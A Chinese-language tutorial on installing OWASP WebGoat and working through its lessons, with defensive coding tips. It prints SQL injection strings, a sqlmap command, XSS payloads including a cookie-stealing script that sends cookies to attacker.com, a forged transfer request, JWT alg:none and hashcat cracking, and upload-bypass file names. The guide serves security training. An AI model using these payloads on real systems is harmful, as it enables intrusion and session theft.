WebGoat 环境搭建及实战完全指南

WebGoat 环境搭建及实战完全指南

WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序,专门用于教学 Web 应用安全漏洞和防御技术。

📚 WebGoat 概述

官方地址https://github.com/WebGoat/WebGoat

特点

  • 完全免费开源
  • 包含 100+ 个安全漏洞练习
  • 每个课程都有详细指导
  • 支持多语言(包括中文)
  • 实时反馈和得分系统
  • 适合从初学者到专家的所有级别

🚀 环境搭建方法

方法1:使用 Docker(推荐)

# 1. 安装 Docker(如未安装)# Linuxsudoapt-get update sudoapt-getinstall docker.io docker-compose# 2. 拉取 WebGoat 镜像docker pull webgoat/webgoat # 3. 运行 WebGoat# 方式一:直接运行docker run -d-p8080:8080 -p9090:9090 -eTZ=Asia/Shanghai webgoat/webgoat # 方式二:使用 docker-compose(推荐)cat> docker-compose.yml <<'EOF' version: '3' services: webgoat: image: webgoat/webgoat:latest container_name: webgoat ports: - "8080:8080" - "9090:9090" environment: - TZ=Asia/Shanghai - WEBGOAT_HOST=0.0.0.0 restart: unless-stopped EOFdocker-compose up -d# 4. 验证安装dockerpscurl http://localhost:8080/WebGoat 

方法2:本地 Jar 包运行

# 1. 下载最新版本# 访问 https://github.com/WebGoat/WebGoat/releases# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar# 2. 运行 WebGoat(需要 Java 11+)java-jar webgoat-server-xx.x.x.jar --server.port=8080# 3. 运行 WebWolf(独立工具)java-jar webwolf-xx.x.x.jar --server.port=9090# 或者使用官方启动脚本git clone https://github.com/WebGoat/WebGoat.git cd WebGoat ./mvnw clean package java-jar webgoat-server/target/*.jar 

方法3:源代码编译运行

# 1. 克隆仓库git clone https://github.com/WebGoat/WebGoat.git cd WebGoat # 2. 编译(需要 Maven 和 Java 11+) ./mvnw clean compile # 3. 运行 ./mvnw spring-boot:run -pl webgoat-server # 4. 访问# WebGoat: http://localhost:8080/WebGoat# WebWolf: http://localhost:9090/WebWolf

方法4:使用 Kali Linux 预装版本

# Kali Linux 通常预装了 WebGoat# 启动 WebGoatservice webgoat start # 或者手动启动cd /usr/share/webgoat java-jar webgoat-server-*.jar # 访问:https://localhost:8080/WebGoat

🌐 访问和初始配置

# 默认访问地址 WebGoat: http://localhost:8080/WebGoat WebWolf: http://localhost:9090/WebWolf # 首次访问配置1. 打开浏览器访问 http://localhost:8080/WebGoat 2. 创建新用户或使用默认: - 用户名:webgoat - 密码:webgoat 3. 选择语言(支持中文) 4. 开始课程 

🎯 课程分类详解

WebGoat 课程分为多个类别,从易到难:

1. 通用漏洞系列

A1:注入漏洞 - SQL 注入(基础) - SQL 注入(进阶) - NoSQL 注入 - 命令注入 - XXE 注入 A2:失效的身份认证 - 身份认证绕过 - JWT 令牌安全 - 密码重置漏洞 - 安全提问绕过 A3:敏感数据泄露 - 不安全的加密 - 弱哈希算法 - JWT 密钥泄露 A7:跨站脚本(XSS) - 反射型 XSS - 存储型 XSS - DOM 型 XSS - 防御方法 A8:不安全的反序列化 - Java 反序列化 - 远程代码执行 

2. 高级漏洞系列

A4:外部实体(XXE) - XXE 读取文件 - XXE 盲注 - XXE 防御 A5:失效的访问控制 - 水平越权 - 垂直越权 - IDOR 漏洞 - JWT 篡改 A6:安全配置错误 - 目录遍历 - 敏感文件泄露 - 安全头部缺失 A9:使用含有已知漏洞的组件 - 依赖库漏洞 - 版本检测 

3. 挑战系列

WebWolf 挑战 - 文件上传绕过 - 邮件钓鱼 - 重定向漏洞 CTF 风格挑战 - 综合漏洞利用 - 多步骤攻击链 

🔍 实战演练:SQL 注入专题

练习1:基础 SQL 注入

-- 1. 访问 SQL Injection (intro)-- 课程位置:A1 → SQL Injection (intro)-- 2. 基础注入练习-- 输入:' OR '1'='1SELECT*FROM users WHERE name =''OR'1'='1';-- 3. 获取所有用户-- 输入:' OR 1=1 --SELECT*FROM users WHERE name =''OR1=1--';-- 4. 联合查询注入-- 输入:' UNION SELECT 1,2 --SELECT*FROM products WHERE name =''UNIONSELECT1,2--';-- 5. 获取数据库信息-- 输入:' UNION SELECT version(),database() --

练习2:盲注攻击

-- 1. 布尔盲注-- 判断数据库类型' AND (SELECT substring(version(),1,1))='5' -- -- 2. 时间盲注 -- MySQL:使用 sleep() 函数 'ANDIF(1=1,SLEEP(5),0)---- 3. 自动化工具使用# 使用 sqlmap sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \ --data="name=test" \--level=3 \--risk=2 \--dbs

练习3:SQL 注入防御

// 查看防御代码示例// 1. 使用预编译语句String sql ="SELECT * FROM users WHERE username = ?";PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username);// 2. 使用存储过程// 3. 输入验证和过滤// 4. 最小权限原则

🛠️ XSS 漏洞实战

反射型 XSS

// 1. 基础 payload<script>alert('XSS')</script>// 2. 绕过简单过滤<ScRiPt>alert('XSS')</ScRiPt><img src=x onerror=alert('XSS')>// 3. 窃取 Cookie<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>

存储型 XSS

// 1. 在评论中注入<iframe src="javascript:alert('XSS')">// 2. 结合 CSRF<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>

DOM 型 XSS

// 1. 利用 URL 片段http://target.com/#<script>alert('XSS')</script>// 2. 利用 innerHTML document.getElementById('content').innerHTML = userInput;// 防御:使用 textContent 代替

🔑 身份认证漏洞实战

JWT 令牌攻击

// 1. 解码 JWT// 使用 jwt.io 在线解码// 2. 无签名攻击(alg: none)// 修改 JWT 头部为 { "alg": "none" }// 删除签名部分// 3. 密钥爆破// 使用 hashcat hashcat -a 0-m 16500 jwt.txt wordlist.txt // 4. 密钥混淆攻击// 使用 HS256 但验证时使用 RS256

密码重置漏洞

# 1. 修改 Host 头 POST /reset-password HTTP/1.1 Host: attacker.com X-Forwarded-Host: attacker.com # 2. 密码重置令牌泄露 # 查看页面源码、JS文件、网络请求 # 3. 时间窗口攻击 # 快速使用重置链接 

📁 文件上传漏洞实战

绕过文件类型检查

# 1. 修改 Content-Type# 上传 PHP 文件,但 Content-Type: image/jpeg# 2. 双扩展名 shell.php.jpg shell.php%00.jpg # 3. 大小写绕过 shell.PhP shell.pHp5 # 4. 特殊字符 shell.php. shell.php空格 

WebWolf 文件上传挑战

# 1. 访问 WebWolf http://localhost:9090/WebWolf # 2. 上传恶意文件# 3. 使用重定向获取文件<img src="http://localhost:9090/files/your-file"># 4. 组合 XSS<iframe src="http://localhost:9090/files/steal-cookie.js">

🛡️ WebGoat 防御练习

输入验证防御

// 1. 白名单验证if(!input.matches("^[a-zA-Z0-9]+$")){thrownewValidationException("非法输入");}// 2. 输出编码String safeOutput =ESAPI.encoder().encodeForHTML(userInput);// 3. 使用安全框架// Spring Security 的 CSRF 保护// OWASP ESAPI 库

安全配置

# application.yml 安全配置security:headers:content-security-policy:"default-src 'self'"x-frame-options: DENY x-content-type-options: nosniff csrf:enabled:true

🔧 工具集成和自动化

Burp Suite 配置

# 1. 配置代理 Proxy → Options → Add -Bind to port:8081-Bind to address: 127.0.0.1 # 2. 浏览器设置代理# Firefox/Chrome: 127.0.0.1:8081# 3. 拦截 WebGoat 请求# 查看和修改请求/响应# 4. 使用 Intruder 爆破

OWASP ZAP 集成

# 1. 启动 ZAP zap.sh # 2. 配置上下文# 设置目标 URL: http://localhost:8080/WebGoat# 3. 自动扫描# 主动扫描和被动扫描# 4. 生成报告

📊 学习路径建议

阶段1:基础(1-2周)

1. SQL Injection (intro) - 3天 2. Cross-Site Scripting (XSS) - 3天 3. Path Traversal - 2天 4. Authentication Flaws - 2天 

阶段2:进阶(2-3周)

1. SQL Injection (advanced) - 4天 2. XXE Injection - 3天 3. JWT Tokens - 3天 4. Insecure Deserialization - 3天 

阶段3:综合(1-2周)

1. WebWolf Challenges - 全部完成 2. Secure Coding Lessons - 学习防御 3. 创建自己的漏洞环境 

💡 最佳实践和学习技巧

学习方法

1. **理论+实践结合** - 先理解漏洞原理 - 再动手实践 - 最后查看官方解法 2. **记笔记和思维导图** - 记录每个漏洞的原理 - 记录攻击步骤 - 记录防御方法 3. **使用多种工具** - 手动测试理解原理 - 使用工具提高效率 - 比较不同工具的效果 

调试技巧

// 1. 查看后端代码// WebGoat 是开源的,可以查看源代码理解逻辑// 2. 使用开发者工具// - F12 打开开发者工具// - Network 标签查看请求// - Console 执行 JavaScript// - Sources 查看前端代码// 3. 日志查看 # 查看 WebGoat 日志 docker logs webgoat # 或者运行时查看 java -jar webgoat-server.jar --debug 

🆘 故障排除

常见问题1:无法启动

# 检查 Java 版本(需要 Java 11+)java-version# 检查端口占用netstat-tlnp|grep8080# 或修改端口java-jar webgoat-server.jar --server.port=8081# Docker 容器问题docker logs webgoat-container docker-compose logs -f

常见问题2:课程无法完成

# 解决方法: 1. 仔细阅读题目描述 2. 查看页面源代码 3. 使用浏览器开发者工具 4. 查看网络请求 5. 参考官方文档 6. 使用 WebGoat 的提示功能 

常见问题3:性能问题

# 调整 JVM 参数java-Xms512m-Xmx1024m-jar webgoat-server.jar # Docker 资源限制docker run -d-m 1g --cpus="1.0" webgoat/webgoat 

📈 进阶学习资源

扩展工具

1. **SQLMap** - SQL 注入自动化 2. **XSStrike** - XSS 检测 3. **JWT_Tool** - JWT 攻击工具 4. **FFUF** - Web 目录爆破 5. **Nuclei** - 漏洞扫描 

相关项目

1. **WebGoat.NET** - .NET 版本 2. **DVWA** - 另一个漏洞环境 3. **bWAPP** - 包含更多漏洞类型 4. **Juice Shop** - 现代 Web 应用靶场 

认证和学习路径

1. **OWASP Top 10** - 掌握所有漏洞类型 2. **OSWE** - 高级 Web 渗透认证 3. **Burp Suite Certified Practitioner** - Burp 专业认证 

🎮 挑战任务

任务1:完成所有基础课程

目标:30天内完成所有 A1-A10 基础课程 奖励:深入理解 OWASP Top 10 

任务2:不查看源码完成挑战

目标:仅通过黑盒测试完成 WebWolf 挑战 奖励:提升实战测试能力 

任务3:编写自己的漏洞场景

目标:基于 WebGoat 框架开发一个新漏洞练习 奖励:深入理解漏洞原理和代码实现 

重要提醒

  1. WebGoat 仅在本地或授权环境中使用
  2. 学到的技术仅用于合法的安全测试
  3. 尊重他人隐私和系统安全
  4. 遵守网络安全法律法规

开始你的 WebGoat 之旅
从最简单的 SQL 注入开始,逐步挑战更复杂的漏洞类型。每个课程都是一次学习机会,失败不可怕,重要的是从中学到东西。祝你学习顺利!

Read more

用 Python 搭建本地 AI 问答系统:避开 90% 新手都会踩的环境坑

用 Python 搭建本地 AI 问答系统:避开 90% 新手都会踩的环境坑

欢迎文末添加好友交流,共同进步! “ 俺はモンキー・D・ルフィ。海贼王になる男だ!” * 前言 * 一、整体架构概览 * 二、新手踩坑分布图 * 三、环境搭建:最容易翻车的第一步 * 3.1 用虚拟环境隔离,别污染全局 * 3.2 PyTorch 安装:版本对齐是关键 * 3.3 依赖管理:用 requirements.txt 锁定版本 * 四、模型下载:别让网络毁了你的心情 * 4.1 使用 Ollama 管理本地模型(强烈推荐) * 4.2 用 Python 调用 Ollama * 五、搭建 RAG 问答系统 * 5.

从 OpenClaw 到 ToClaw:AI 代理网关的产品化之路

从 OpenClaw 到 ToClaw:AI 代理网关的产品化之路

定位说明:这是一篇偏“体验与选型思路”的横测笔记,不是参数党跑分,也不是安装教程。内容基于我对产品定位与常见使用路径的理解,公测策略与功能细节可能会随版本变化。 01|OpenClaw 是什么?能做什么? OpenClaw 可以理解为一种“AI 代理(Agent)网关/中枢”:你在聊天界面下指令,它会调用模型能力并配合工具,去做更接近“完成任务”的事情,而不是只聊天。它强调可扩展(技能/插件)、可接入多渠道、可在你自己的设备上运行等方向。 你能用 OpenClaw 做什么(偏通用能力) * 在聊天软件里接收任务、输出结果,并尽量保持持续记忆与上下文(取决于你的配置与使用方式) * 通过工具/技能扩展能力:文件读写、浏览器自动化、系统命令、定时任务、接入第三方服务等(不同发行与生态会有差异) 但现实门槛也很明显 * 自部署往往需要 Node.js

OpenCode 安装 oh-my-opencode 插件教程(AI 一键辅助安装版)

OpenCode 安装 oh-my-opencode 插件教程(AI 一键辅助安装版)

最近发现一个很有意思的 OpenCode 插件仓库:oh-my-opencode 项目地址:code-yeongyu/oh-my-opencode: The Best Agent Harness. Meet Sisyphus: The Batteries-Included Agent that codes like you. 它的目标是让 OpenCode 具备更“开箱即用”的体验:通过安装插件增强能力,比如更顺手的指令、工作流、提示词封装等。 这篇文章会用仓库作者推荐的方式来安装:把提示词交给 AI,让 AI 自动完成安装。同时我也会补充关键步骤,避免“只会复制粘贴但不知道发生了什么”。 1. 前置条件 开始前确认你已经具备: * 已安装 OpenCode(没有安装的可参考我的另一篇【ClaudeCode平替(免费)】OpenCode 完整安装与 VSCode 使用指南_

从论文到实践:Stable Diffusion模型一键生成高质量AI绘画

从论文到实践:Stable Diffusion模型一键生成高质量AI绘画

🏡作者主页:点击!  🤖编程探索专栏:点击! ⏰️创作时间:2024年12月24日10点02分 神秘男子影,   秘而不宣藏。 泣意深不见, 男子自持重,    子夜独自沉。  AI绘画一键生成美图-变成画家 本地部署SD模型,一键即可生成自己想要绘制的图画,本文包括论文原理讲解和代码复现 论文讲解 论文题目:High-Resolution Image Synthesis with Latent Diffusion Models(基于潜在扩散模型的高分辨率图像合成) 论文被计算机视觉顶会CVPR 2022收录 Stable diffusion是一个基于Latent Diffusion Models(潜在扩散模型,LDMs)的文图生成(text-to-image)模型。它建立在自注意力机制和扩散过程的基础上。它的设计灵感来自于扩散过程模型(Diffusion Models),这些模型在自然图像建模领域取得了巨大成功。 Stable Diffusion通过一系列的扩散步骤来生成图像。在每一步中,模型逐渐“扩散”图像,从含有较少信息的噪声开始,到包含更多细节的图像。